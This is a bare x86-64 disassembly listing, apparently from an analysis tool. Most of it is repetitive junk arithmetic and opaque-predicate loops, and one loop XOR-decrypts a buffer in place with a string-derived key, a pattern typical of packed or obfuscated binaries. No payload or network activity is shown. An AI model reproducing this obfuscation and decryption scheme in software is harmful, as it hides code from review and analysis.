mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140002430
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x14000245c
call fcn.1400012a0
call fcn.1400011f0
test eax, eax
je 0x14000246a
call fcn.140001350
mov r9d, r12d
mov r8, r12
test edi, edi
je 0x1400024c9
mov r10, rsi
lea r11, str.0x69
nop
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x1400024b8
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
cmove r8, r12
inc r9d
inc r10
cmp r9d, edi
jb 0x140002480
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140002502
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x1400025d3
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x14000254f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140002530
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x1400025d3
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x14000258e
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x1400025d3
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x1400025cd
nop
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x1400025b0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x1400025f2
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140002605
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x1400026e5
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x14000264d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140002630
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x1400026e5
mov dword [rbp + 0x30], 0x775
mov dword [rbp + 0x38], 0x83
mov eax, 0x92492493
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
test ecx, ecx
jle 0x140002695
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 3
jle 0x1400026e5
mov eax, dword [rbp + 0x30]
imul eax, eax, 7
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 7
jge 0x1400026df
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
add dword [rbp + 0x38], 0xfffffffb
add dword [rbp + 0x30], 5
mov eax, dword [rbp + 0x30]
cmp eax, 7
jl 0x1400026c0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x14000271c
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140002767
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x14000275d
nop dword [rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140002740
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x1400027e5
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x1400027a0
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x1400027e5
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x1400027df
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x1400027c0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x775
mov dword [rbp + 0x38], 0x83
mov eax, 0x92492493
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
test ecx, ecx
jle 0x140002821
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 3
jle 0x140002868
mov eax, dword [rbp + 0x30]
imul eax, eax, 7
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 7
jge 0x140002860
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
add dword [rbp + 0x38], 0xfffffffb
add dword [rbp + 0x30], 5
mov eax, dword [rbp + 0x30]
cmp eax, 7
jl 0x140002841
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x1400028e3
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x14000289f
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x1400028e3
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x1400028dd
nop
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x1400028c0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x14000291a
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140002967
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x14000295d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140002940
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x1400029e3
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140002986
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140002999
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x1400029e3
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x1400029dd
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x1400029c0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x38
mov dword [rbp + 0x38], 0x11
mov eax, 0x66666667
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
test ecx, ecx
jle 0x140002a1c
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 2
jle 0x140002af5
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 5
jge 0x140002a5f
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 3
add dword [rbp + 0x30], 3
mov eax, dword [rbp + 0x30]
cmp eax, 5
jl 0x140002a40
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140002af5
mov dword [rbp + 0x30], 0x775
mov dword [rbp + 0x38], 0x83
mov eax, 0x92492493
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
test ecx, ecx
jle 0x140002aa7
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 3
jle 0x140002af5
mov eax, dword [rbp + 0x30]
imul eax, eax, 7
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 7
jge 0x140002aef
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
add dword [rbp + 0x38], 0xfffffffb
add dword [rbp + 0x30], 5
mov eax, dword [rbp + 0x30]
cmp eax, 7
jl 0x140002ad0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x775
mov dword [rbp + 0x38], 0x83
mov eax, 0x92492493
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
test ecx, ecx
jle 0x140002b31
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 3
jle 0x140002b78
mov eax, dword [rbp + 0x30]
imul eax, eax, 7
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 7
jge 0x140002b70
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
add dword [rbp + 0x38], 0xfffffffb
add dword [rbp + 0x30], 5
mov eax, dword [rbp + 0x30]
cmp eax, 7
jl 0x140002b51
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140002bf3
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140002baf
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140002bf3
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140002bed
nop
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140002bd0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x30], 0x15
mov dword [rbp + 0x38], 0x4b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140002c2a
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 1
jle 0x140002c77
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140002c6d
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
dec dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140002c50
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x140002cf3
mov dword [rbp + 0x30], 0x8a
mov dword [rbp + 0x38], 0x79d
mov eax, dword [rbp + 0x30]
and eax, 0x80000001
jge 0x140002c96
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x30]
test eax, eax
jle 0x140002ca9
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
test eax, eax
jns 0x140002cf3
mov eax, dword [rbp + 0x30]
add eax, eax
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 2
jge 0x140002ced
nop word [rax + rax]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x38]
mov ecx, dword [rbp + 0x30]
cdq
idiv ecx
mov dword [rbp + 0x38], eax
inc dword [rbp + 0x38]
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
cmp eax, 2
jl 0x140002cd0
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x30], 0x3af
mov dword [rbp + 0x38], 0x3b
mov eax, 0x55555556
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
test ecx, ecx
jle 0x140002d2a
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 5
jle 0x140002d77
mov eax, dword [rbp + 0x30]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 3
jge 0x140002d6f
nop word [rax + rax]
inc dword [rbp + 0x30]
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
add dword [rbp + 0x38], 0xfffffffe
add dword [rbp + 0x30], 2
mov eax, dword [rbp + 0x30]
cmp eax, 3
jl 0x140002d50
inc dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
je 0x140002df5
mov dword [rbp + 0x30], 0x14e
mov dword [rbp + 0x38], 0x25
mov eax, 0x2e8ba2e9
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
test ecx, ecx
jle 0x140002db0
mov ecx, dword [rbp + 0x38]
mov eax, dword [rbp + 0x30]
imul ecx, eax
mov dword [rbp + 0x38], ecx
mov eax, dword [rbp + 0x38]
cmp eax, 7
jle 0x140002df5
mov eax, dword [rbp + 0x30]
imul eax, eax, 0xb
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], 1
mov eax, dword [rbp + 0x30]
cmp eax, 0xb
jge 0x140002def
mov dword [rbp + 0x30], 0x14e
mov dword [rbp + 0x38], 0x25
mov eax, 0x2e8ba2e9
mov ecx, dword [rbp + 0x30]
dec dword [rbp + 0x30]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
test ecx, ecx
jle 0x140002e2e